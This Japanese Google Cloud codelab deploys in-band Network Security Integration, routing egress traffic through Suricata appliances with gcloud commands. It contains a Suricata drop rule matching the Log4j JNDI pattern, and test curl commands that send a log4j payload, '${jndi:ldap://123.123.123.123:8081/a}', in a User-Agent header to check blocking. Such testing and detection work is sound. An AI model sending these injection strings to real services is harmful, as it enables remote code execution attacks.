インバンドの Network Security Integration(NSI)Codelab

1. はじめに

Network Security Integration

Network Security Integration(NSI)は、ワークロードのネットワーク セキュリティを強化するための柔軟性を提供します。サードパーティの独立系ソフトウェア ベンダー(ISV)の専用アプライアンスを活用したり、ディープ パケット インスペクション(DPI)エンジンを活用してペイロードを検査したりできます。これらのサードパーティ製アプライアンスとのシームレスな統合を可能にするため、Google Cloud では、ネットワークやルーティングを変更することなくアプライアンスを透過的に簡単にデプロイできるようにしています。

Google Cloud では、アウトオブバンドとインバンドの 2 種類の Network Security Integration を提供しています。このラボでは、インバンドの Network Security Integration をデプロイする手順について説明します。

インバンドの Network Security Integration

Network Security Integration は、パケット インターセプト テクノロジーを使用したインバンド統合を提供します。これにより、サードパーティのネットワーク アプライアンスをネットワーク トラフィックのパスに配置して、Google Cloud ワークロードを透過的に検査できます。このプロセスでは、Generic Network Virtualization Encapsulation(GENEVE)を使用して、元の送信元 IP アドレスと宛先 IP アドレスを変更することなく、パケットをアプライアンスに安全に転送します。

インバンド統合は、サードパーティのインライン ネットワーク アプライアンスを bump-in-the-wire モードでデプロイして使用するためのサービス中心のアプローチを提供します。サービス プロデューサーは、スケーラブルなサードパーティ ネットワーク アプライアンスのセットをインターセプト デプロイとして公開できます。サービス ユーザーは、Cloud Next Generation Firewall のポリシーとルールを使用して、トラフィックをきめ細かく選択し、検査のためにローカル インターセプト エンドポイントに透過的にリダイレクトできます。

61bfbf754e04cf70.png

図 1. インバンド統合サービスのデプロイ アーキテクチャの概要

インバンド NSI 統合の詳細については、インバンド統合の概要をご覧ください。

インバンド サービス プロデューサー

サービス プロデューサーは、サードパーティのアプライアンスがデプロイされ、管理される場所です。これは、組織内のユーザー(セキュリティ チームなど)または外部ベンダーが管理できます。プロデューサーは、サードパーティ アプライアンスなどの仮想マシンを、VPC ネットワーク内の内部パススルー ネットワーク ロードバランサのバックエンドとして登録します。これらのアプライアンスは、リダイレクトされたネットワーク トラフィックを検査します。サービス プロデューサーは、内部パススルー ネットワーク ロードバランサの転送ルールを参照するゾーンリソースであるインターセプト デプロイを作成します。

インターセプト デプロイは、特定のゾーンのプロデューサーの検査サービスを表すゾーンリソースです。プロデューサーは、VM をデプロイした各ゾーンにインターセプト デプロイを作成します。

インターセプト デプロイ グループは、コンシューマーがプロデューサーの検査サービスに接続できるようにするプロジェクト スコープのグローバル リソースです。プロデューサーは、複数のゾーン インターセプト デプロイメントをグループ化するために、インターセプト デプロイメント グループを作成します。プロデューサーは IAM を使用して、デプロイ グループに接続できるコンシューマーを制御します。

詳細については、インターセプト デプロイ グループの概要インターセプト デプロイの概要をご覧ください。

インバンド サービス ユーザー

サービス コンシューマーは、プロデューサーが提供する検査サービスを使用します。コンシューマーは、検査する VPC とプロデューサーを指定します。これを行うには、コンシューマーはプロデューサーとコンシューマーの関係のコンシューマー側を表すグローバル リソースであるインターセプト エンドポイント グループを作成し、インターセプト エンドポイント グループをプロデューサーのインターセプト デプロイ グループにリンクします。

トラフィックの検査を希望する VPC にインターセプト エンドポイント グループを関連付けるには、インターセプト エンドポイント グループの関連付けを作成します。検査のためにプロデューサーに送信するトラフィックを選択するには、コンシューマーがネットワーク ファイアウォール ポリシーを作成して使用します。コンシューマーは、インターセプト エンドポイント グループを参照するセキュリティ プロファイルを含むセキュリティ プロファイル グループを作成します。コンシューマーは、特定の条件に一致するトラフィックをプロデューサーのアプライアンスにリダイレクトするファイアウォール ルールを作成します。

インターセプト エンドポイント グループ(IEG)はプロジェクト レベルのリソースですが、IEG と IEG 関連付けは同じプロジェクトに存在する必要はありません。IEG は、組織内の他のプロジェクトの IEG 関連付けから参照できます。これは、プロデューサーとコンシューマーの関係におけるコンシューマー側を表します。コンシューマーは、プロデューサーの検査サービスを使用するためにインターセプト エンドポイント グループを作成します。コンシューマー側の各インターセプト エンドポイント グループは、プロデューサー側の 1 つのインターセプト デプロイ グループに関連付けられています。

詳細については、インターセプト エンドポイント グループと関連付けの概要をご覧ください。

ユーザーは、トラフィックをインターセプト エンドポイント グループにリダイレクトするファイアウォール ポリシールールを作成する必要があります。コンシューマーは、ファイアウォール ポリシー ルール内で一致条件を指定できます。これにより、プロデューサーのアプライアンスで検査するトラフィックを定義できます。

コンシューマーは、トラフィックの検査に使用するインターセプト エンドポイント グループを指定するカスタム インターセプト セキュリティ プロファイルを作成します。

コンシューマーは、特定のトラフィック サブセットに適用するセキュリティ検査機能のグループを定義するために、セキュリティ プロファイル グループを作成します。セキュリティ プロファイル グループには、1 つのカスタム インターセプト セキュリティ プロファイルが含まれています。

作成するアプリの概要

ea01a16258c792c1.png

図 2. この Codelab のデプロイ アーキテクチャの概要

この Codelab を簡単にするため、単一のプロジェクトを使用して 2 つの VPC ネットワークを作成し、多数のネットワーク リソースとセキュリティ リソースを管理します。このラボでは、透過的なセキュリティ挿入のためにサードパーティ アプライアンスを使用してインバンド ネットワーク サービス統合をデプロイする方法を説明します。

検査対象のフローは、5 タプル(送信元 IP、宛先 IP、プロトコル、送信元ポート、宛先ポート)などの Cloud Firewall の照合パラメータを使用して選択されます。このラボでは、簡略化のため、TCP ポート 80 のすべての下り(外向き)トラフィックを検査します。

プロデューサーは、宛先ポート 6081(GENEVE のウェルノウン ポート)の UDP パケットに対して、プロデューサー VPC サブネット ゲートウェイ IP(10.0.0.1/32)からの上り(内向き)を許可します。

ネットワーク ファイアウォール ポリシー ルールベースの最終状態は、次の表のようになります。

プロデューサー ネットワーク ポリシー:

優先度

方向

プロトコル

ターゲット

ソース

宛先

宛先ポート

アクション

100

Ingress

すべて

すべて

Health-Checks

すべて

任意

許可

200

Ingress

すべて

すべて

IAP

すべて

任意

許可

300

Ingress

UDP

すべて

10.0.0.1/32

すべて

6081

許可

コンシューマ ネットワーク ポリシー:

優先度

方向

プロトコル

ターゲット

ソース

宛先

宛先ポート

アクション

200

Ingress

TCP

すべて

IAP

すべて

22

許可

800

Egress

TCP

すべて

任意

すべて

80

インターセプト

学習内容

  • インバンドの Network Security Integration をデプロイする方法

必要なもの

  • Google Cloud の組織とプロジェクト
  • 適切な IAM 権限
  • インスタンスのデプロイとネットワーク コンポーネントの構成に関する知識
  • ネットワーク ポリシー ファイアウォールの構成に関する知識

2. 始める前に

IAM のロールと権限

インバンドの Network Security Integration(NSI)の Codelab を完了するには、次の IAM ロールが必要です。

  • Compute ネットワーク管理者roles/compute.networkAdmin): VPC ネットワーク、サブネット、Cloud Router、NAT ゲートウェイ、ロードバランサ バックエンド サービスの作成と管理に必要です。
  • Compute セキュリティ管理者roles/compute.securityAdmin): グローバル ネットワーク ファイアウォール ポリシーとルールを作成、構成、関連付けるために必要です。
  • Compute インスタンス管理者roles/compute.instanceAdmin.v1): Suricata アプライアンスとコンシューマー テスト VM のデプロイ、SSH 接続、最終的な削除に必要です。
  • インターセプト デプロイ管理者roles/networksecurity.interceptDeploymentAdmin): プロデューサーが、ゾーン インターセプト デプロイとグローバル デプロイ グループの作成と管理に使用します。
  • インターセプト エンドポイント管理者roles/networksecurity.interceptEndpointAdmin): コンシューマーがインターセプト エンドポイント グループを作成し、VPC ネットワークに関連付けるために使用します。
  • インターセプト デプロイ ユーザーroles/networksecurity.interceptDeploymentUser): コンシューマーにプロデューサーのデプロイ グループへの接続権限を付与するために、プロデューサー プロジェクトで必要です。
  • セキュリティ プロファイル管理者roles/networksecurity.securityProfileAdmin): カスタム インターセプト セキュリティ プロファイルとセキュリティ プロファイル グループを作成して管理するために、組織レベルで必要です。
  • Service Usage 管理者roles/serviceusage.serviceUsageAdmin): NSI 機能に必要な networksecurity.googleapis.com API と compute.googleapis.com API を有効にするために必要です。
  • プロジェクト閲覧者roles/viewer): ラボ全体で使用される環境変数のプロジェクト構成と組織の祖先情報を取得するために必要です。

Google Cloud API

プロジェクトで必要な Google Cloud API が有効になっていることを確認してください。

必要な API を有効にするには、Cloud Shell で次の gcloud コマンドを実行します。

gcloud services enable compute.googleapis.com \
networksecurity.googleapis.com \
cloudresourcemanager.googleapis.com

変数を作成/更新する

この Codelab では、$variables を使用して、Cloud Shell での gcloud 構成の実装を支援します。

Cloud Shell で次のコマンドを実行します。必要に応じて、角かっこ内の情報を置き換えます。

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zonea=[first-zone from $region]
export zoneb=[second-zone from $region]
export zonec=[third-zone from $region]

3. プロデューサーのアクション

このセクションでは、プロデューサーのデプロイ側について説明します。これには、VPC、サードパーティのネットワーク仮想アプライアンス、Network Security Integration に関連するすべてのコンポーネントのデプロイが含まれます。

VPC と Cloud NAT のコンポーネント

  1. VPC とサブネットを作成します。
gcloud compute networks create producer-vpc --subnet-mode=custom 

gcloud compute networks subnets create producer-$region-subnet \
   --range=10.0.0.0/24 --network=producer-vpc --region=$region
  1. ファイアウォール ルールで使用するサブネット ゲートウェイ IP を取得します。
export gatewayip=$(gcloud compute networks subnets list --project=$project_id --network=producer-vpc --format=json | jq -r '.[0].gatewayAddress')
  1. プロデューサー VPC の FW ポリシーとルールを作成します。これらの FW ルールにより、ヘルスチェック、IAP、NSI ソースのトラフィックの上り(内向き)が許可されます。
gcloud compute network-firewall-policies create producer-fwpolicy \
  --global
                                                      
gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from ilb health-check ranges" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80 \
        --direction=INGRESS \
        --src-ip-ranges=35.191.0.0/16,130.211.0.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

gcloud compute network-firewall-policies rules create 300 \
        --description="allow GENEVE UDP:6081 packets from gateway" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=udp:6081 \
        --direction=INGRESS \
        --src-ip-ranges=$gatewayip
 
  1. プロデューサー VPC をネットワーク ファイアウォール ポリシーに関連付けます。
gcloud compute network-firewall-policies associations create \
        --firewall-policy producer-fwpolicy \
        --network producer-vpc \
        --name producer-fwpolicy-association \
        --global-firewall-policy
  1. サードパーティのネットワーク仮想アプライアンス(NVA)に Cloud Router と Cloud NAT をデプロイして、必要なパッケージと更新をダウンロードします。
gcloud compute addresses create producer-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$region-cloudnatip --format="value(address)")

gcloud compute routers create producer-$region-cr \
  --region=$region --network=producer-vpc

gcloud compute routers nats create producer-cloudnat-$region \
   --router=producer-$region-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=producer-$region-cloudnatip

サードパーティの VM

このラボでは、オープンソースの脅威検出サービスである Suricata をデプロイします。このコマンドには、Suricata をインストールして構成する起動スクリプトが含まれています。また、GENEVE パケットの処理と応答のために送信元ネットワーク アドレス変換(SNAT)と宛先ネットワーク アドレス変換(DNAT)を実行する iptables もあります。

  1. 最初のゾーンにサードパーティ NVA をデプロイします。
gcloud compute instances create suricata-$zonea \
   --shielded-secure-boot \
   --subnet=producer-$region-subnet \
   --no-address \
   --private-network-ip 10.0.0.3 \
   --zone $zonea \
   --metadata startup-script='#! /bin/bash
      sudo sysctl -w net.ipv4.ip_forward=1
        apt-get update
        apt-get install nginx suricata tcpdump -y
      sudo suricata-update
      sudo systemctl stop suricata
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
      sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
      sudo iptables -I FORWARD -j NFQUEUE
      sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
      sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
      sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
     sudo systemctl daemon-reload
     sudo systemctl stop suricata
     sleep 5
     sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
     sleep 10
'
  1. 2 番目のゾーンにサードパーティの NVA をデプロイします。
gcloud compute instances create suricata-$zoneb \
   --shielded-secure-boot \
   --subnet=producer-$region-subnet \
   --no-address \
   --private-network-ip 10.0.0.4 \
   --zone $zoneb \
   --metadata startup-script='#! /bin/bash
      sudo sysctl -w net.ipv4.ip_forward=1
        apt-get update
        apt-get install nginx suricata tcpdump -y
      sudo suricata-update
      sudo systemctl stop suricata
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
      sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
      sudo iptables -I FORWARD -j NFQUEUE
      sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
      sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
      sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
     sudo systemctl daemon-reload
     sudo systemctl stop suricata
     sleep 5
     sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
     sleep 10
'

プロデューサー ロードバランサのコンポーネント

  1. サードパーティ NVA の可用性を確認するために使用される汎用ヘルスチェックを作成します。
gcloud compute health-checks create http nva-hc
  1. ゾーンごとにゾーン非マネージド インスタンス グループを作成します。
gcloud compute instance-groups unmanaged create producer-$zonea-uig \
   --zone $zonea

gcloud compute instance-groups unmanaged create producer-$zoneb-uig \
   --zone $zoneb
  1. インスタンスをインスタンス グループに追加します。
gcloud compute instance-groups unmanaged add-instances producer-$zonea-uig --instances=suricata-$zonea --zone=$zonea

gcloud compute instance-groups unmanaged add-instances producer-$zoneb-uig --instances=suricata-$zoneb --zone=$zoneb

次のコマンドを使用して、インスタンス グループにインスタンスが含まれていることを検証します。

gcloud compute instance-groups unmanaged list-instances producer-$zonea-uig --zone=$zonea

gcloud compute instance-groups unmanaged list-instances producer-$zoneb-uig --zone=$zoneb

出力例:

NAME: suricata-$zonea
STATUS: RUNNING

NAME: suricata-$zoneb
STATUS: RUNNING
  1. 内部 UDP バックエンド サービスを作成します。
gcloud compute backend-services create producer-bes \
  --protocol=UDP \
  --region=projects/$project_id/regions/$region \
  --health-checks=projects/$project_id/global/healthChecks/nva-hc \
  --load-balancing-scheme=INTERNAL
  1. 両方のインスタンス グループをバックエンド サービスに追加します。
gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zonea/instanceGroups/producer-$zonea-uig --region=$region

gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zoneb/instanceGroups/producer-$zoneb-uig --region=$region
  1. 転送ルールに内部 IP を予約します。各インターセプト デプロイには一意の転送ルールが必要です。
gcloud compute addresses create producer-fr-$zonea-ip \
    --region $region --subnet producer-$region-subnet \
    --addresses 10.0.0.11

gcloud compute addresses create producer-fr-$zoneb-ip \
    --region $region --subnet producer-$region-subnet \
    --addresses 10.0.0.12
  1. 各ゾーンの転送ルールを作成します。インターセプトのデプロイには一意の転送ルールが必要なため、これは必須です。
gcloud compute forwarding-rules create producer-fr-$zonea \
  --ip-protocol=UDP --address=10.0.0.11 \
  --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \
  --ip-version=IPV4 \
  --ports=6081 \
  --load-balancing-scheme=INTERNAL \
  --region=projects/$project_id/regions/$region \
  --network=projects/$project_id/global/networks/producer-vpc \
  --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet
  
gcloud compute forwarding-rules create producer-fr-$zoneb \
  --ip-protocol=UDP --address=10.0.0.12 \
  --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \
  --ip-version=IPV4 \
  --ports=6081 \
  --load-balancing-scheme=INTERNAL \
  --region=projects/$project_id/regions/$region \
  --network=projects/$project_id/global/networks/producer-vpc \
  --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet

Network Security Integration のコンポーネント

  1. インターセプト デプロイ グループを作成します。
gcloud network-security intercept-deployment-groups create producer-nsi-deployment-group \
    --location global \
    --no-async \
    --network producer-vpc

デプロイ グループが正常に作成されたことを確認します。

gcloud network-security intercept-deployment-groups describe producer-nsi-deployment-group \
    --location global

出力例:

createTime: '2025-01-16T06:13:48.075183628Z'
name: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
network: projects/$project_id/global/networks/producer-vpc
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:13:50.556947138Z'
  1. ゾーンごとにインターセプト デプロイを作成します。
gcloud network-security intercept-deployments create nsi-deployment-$zonea \
    --location $zonea \
    --forwarding-rule producer-fr-$zonea \
    --forwarding-rule-location $region \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group


gcloud network-security intercept-deployments create nsi-deployment-$zoneb \
    --location $zoneb \
    --forwarding-rule producer-fr-$zoneb \
    --forwarding-rule-location $region \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group

インターセプト デプロイが正常に作成されたことを確認します。

gcloud network-security intercept-deployments describe nsi-deployment-$zonea \
    --location $zonea

gcloud network-security intercept-deployments describe nsi-deployment-$zoneb \
    --location $zoneb

出力例:

createTime: '2025-01-16T06:27:08.834875130Z'
forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/$zonea/interceptDeployments/nsi-deployment-$zonea
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:34:14.401072601Z'


createTime: '2025-01-16T06:33:47.798469786Z'
forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr-$zoneb
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/us-west1-b/interceptDeployments/nsi-deployment-$zoneb
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:34:25.258447474Z'

これでプロデューサー側の設定は完了です。次に、トラフィックをインターセプトして、透過的にサードパーティのアプライアンスに送信して適用するようにコンシューマー側を構成します。

4. 消費者の行動

このラボでは、簡略化のために単一のプロジェクト内の個別の VPC を使用しますが、実際の環境では、プロデューサーとコンシューマーのリソースは異なるプロジェクトに存在する場合や、異なる組織に存在する場合もあります。

VPC と Cloud NAT のコンポーネント

  1. VPC とサブネットを作成します。
gcloud compute networks create consumer-vpc --subnet-mode=custom 

gcloud compute networks subnets create consumer-$region-subnet \
   --range=192.168.0.0/24 --network=consumer-vpc --region=$region
  1. Cloud Router と Cloud NAT ゲートウェイを作成します。
gcloud compute addresses create consumer-$region-cloudnatip \
     --region=$region

export cloudnatip=$(gcloud compute addresses list \
     --filter=name:consumer-$region-cloudnatip \
     --format="value(address)")

gcloud compute routers create consumer-$region-cr \
    --region=$region \
    --network=consumer-vpc

gcloud compute routers nats create consumer-cloudnat-$region \
   --router=consumer-$region-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=consumer-$region-cloudnatip

インターセプト エンドポイント グループと関連付け

  1. インターセプト エンドポイント グループを作成します。
gcloud network-security intercept-endpoint-groups create nsi-endpoint-group \
    --location global \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group

エンドポイントが正常に作成されたことを確認します。

gcloud network-security intercept-endpoint-groups describe nsi-endpoint-group \
    --location global 

出力例:

createTime: '2025-01-16T06:37:10.620185836Z'
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:37:22.707994466Z'
  1. コンシューマー VPC を指定して、インターセプト エンドポイント グループの関連付けを作成します。
gcloud network-security intercept-endpoint-group-associations create nsi-endpoint-group-assoc \
    --location global \
    --network consumer-vpc \
    --no-async \
    --intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group

検証:

gcloud network-security intercept-endpoint-group-associations describe nsi-endpoint-group-assoc \
    --location global

出力例:

createTime: '2025-01-16T06:40:21.125202733Z'
interceptEndpointGroup: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
locations:
- location: $zonea
  state: ACTIVE
- location: $zoneb
  state: ACTIVE
name: projects/$project_id/locations/global/interceptEndpointGroupAssociations/nsi-endpoint-group-assoc
network: projects/$project_id/global/networks/consumer-vpc
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:40:56.085493855Z'

セキュリティ プロファイルとセキュリティ プロファイル グループ

次に、インターセプト用のカスタム セキュリティ プロファイルを作成し、セキュリティ プロファイル グループに関連付けます。セキュリティ プロファイルとセキュリティ プロファイル グループは、サードパーティ製アプライアンスのパケット インターセプトに使用されます。

  1. カスタム インターセプト セキュリティ プロファイルを作成します。
gcloud network-security security-profiles custom-intercept create nsi-intercept-profile \
    --organization $org_id \
    --location global \
    --billing-project $project_id \
    --intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group

セキュリティ プロファイルが正常に作成されたことを確認します。

gcloud network-security security-profiles custom-intercept \
describe nsi-intercept-profile \
--organization=$org_id \
--location=global

出力例:

{
  "createTime": "2025-01-16T20:25:21.545756039Z",
  "customInterceptProfile": {
    "interceptEndpointGroup": "projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group"
  },
  "etag": "vBAcVRe70k70rNJ3stzuCAvp_JbiPD2IWqcHKKAGlzw",
  "name": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
  "type": "CUSTOM_INTERCEPT",
  "updateTime": "2025-01-16T20:25:24.101764860Z"
}
  1. セキュリティ プロファイル グループを作成します。
gcloud network-security security-profile-groups create nsi-spg \
   --custom-intercept-profile=nsi-intercept-profile \
   --organization=$org_id \
   --project=$project_id \
  --location=global 

SPG が正常に作成されたことを確認します。

gcloud network-security security-profile-groups describe nsi-spg \
    --organization $org_id \
    --billing-project $project_id \
    --location global

出力例:

 "createTime": "2025-01-16T20:31:23.545946850Z",
  "customInterceptProfile": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
  "etag": "bAE-90dCYvYfOKga4EfGXWRGuJXJpsiTEEgVsw3AmM0",
  "name": "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg",
  "updateTime": "2025-01-16T20:31:27.588870973Z"

ファイアウォール ポリシー、ルール、関連付け

  1. グローバル ネットワーク ファイアウォール ポリシーを作成します。
gcloud compute network-firewall-policies create consumer-fwpolicy \
     --global
  1. ファイアウォール ルールを作成します。
gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=consumer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
      --src-ip-ranges=35.235.240.0/20
  1. NSI を利用してすべての下り(外向き)トラフィックをインターセプトし、サードパーティ アプライアンスに透過的に送信するファイアウォール ルールを作成します。このルールは、すべての TCP:80 下り(外向き)トラフィックを検査のために送信します。
gcloud compute network-firewall-policies rules create 800 \
    --action APPLY_SECURITY_PROFILE_GROUP \
    --firewall-policy consumer-fwpolicy \
    --security-profile-group "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg" \
    --direction EGRESS \
    --layer4-configs tcp:80 \
    --dest-ip-ranges 0.0.0.0/0 \
    --global-firewall-policy
  1. クラウド ファイアウォール ポリシーを VPC ネットワークに関連付けます。
gcloud compute network-firewall-policies associations create \
        --firewall-policy consumer-fwpolicy \
        --network consumer-vpc \
        --name consumer-fwpolicy-association \
        --global-firewall-policy

コンシューマー VM

  1. NSI の検証に使用される VM をデプロイします。3 つのゾーンに 3 つの VM をデプロイします。NSI が有効になっているのは 2 つのゾーンのみで、$zonec は有効になっていません。
gcloud compute instances create consumer-$zonea \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.3 \
   --no-address \
   --zone $zonea 

gcloud compute instances create consumer-$zoneb \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.4 \
   --no-address \
   --zone $zoneb

gcloud compute instances create consumer-$zonec \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.5 \
   --no-address \
   --zone $zonec 

インバンドの Network Security Integration をテストする

  1. $zonea(consumer-$zonea)の VM に SSH 接続します。テスト トラフィックを送信します。
gcloud compute ssh consumer-$zonea \
   --zone $zonea 
  1. http://www.google.com にテスト トラフィックを送信します。
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

予想される出力:

200

HTTP 200 ステータス コードは、クライアントのリクエストがサーバーによって正常に受信、認識、処理されたことを示します。

  1. Suricata によってブロックされるべき log4j リクエストを NSI 経由で送信します。
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

予想される出力:

000

000 HTTP レスポンス コードは、特定のソフトウェアで使用される非公式の非標準コードで、有効な HTTP ステータス コードが受信されなかったことを示します。これは、リクエストがファイアウォールによってブロックされたことを意味します。

  1. SSH セッションを終了して Cloud Shell に戻る
exit
  1. $zoneb(consumer-$zoneb)の VM に SSH 接続する
gcloud compute ssh consumer-$zoneb \
   --zone $zoneb 
  1. 同様に、テスト トラフィックを送信します。
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

予想される出力:

200
  1. log4j リクエストを送信します。
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

予想される出力:

000
  1. SSH セッションを終了して Cloud Shell に戻る
exit
  1. $zonec(consumer-$zonec)の VM に SSH 接続する
gcloud compute ssh consumer-$zonec \
   --zone $zonec
  1. 同様に、テスト トラフィックを送信します。
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

予想される出力:

200
  1. log4j リクエストを送信します。
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

予想される出力:

200

リクエストが完了したことがわかります。これは、NSI を $zonec で構成していないため、想定される動作です。インターセプト エンドポイント グループには、$zonea と $zoneb の関連付けのみがあります。

  1. SSH セッションを終了して Cloud Shell に戻る
exit

Suricata が悪意のあるリクエストを受信してブロックしたことを検証する

  1. $zonea(suricata-$zonea)の Suricata VM に SSH 接続して、ログを確認します。
gcloud compute ssh suricata-$zonea \
   --zone $zonea
  1. 攻撃の種類でフィルタリングしてログを表示します。
cat /var/log/suricata/eve.json | grep log4j

エントリが表示される場合があります。エントリが表示されない場合は、$zoneb の Suricata VM のログを確認します。出力例:

{"timestamp":"2025-01-22T19:54:37.347753+0000","flow_id":905867843361350,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.2","src_port":58740,"dest_ip":"74.125.197.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc 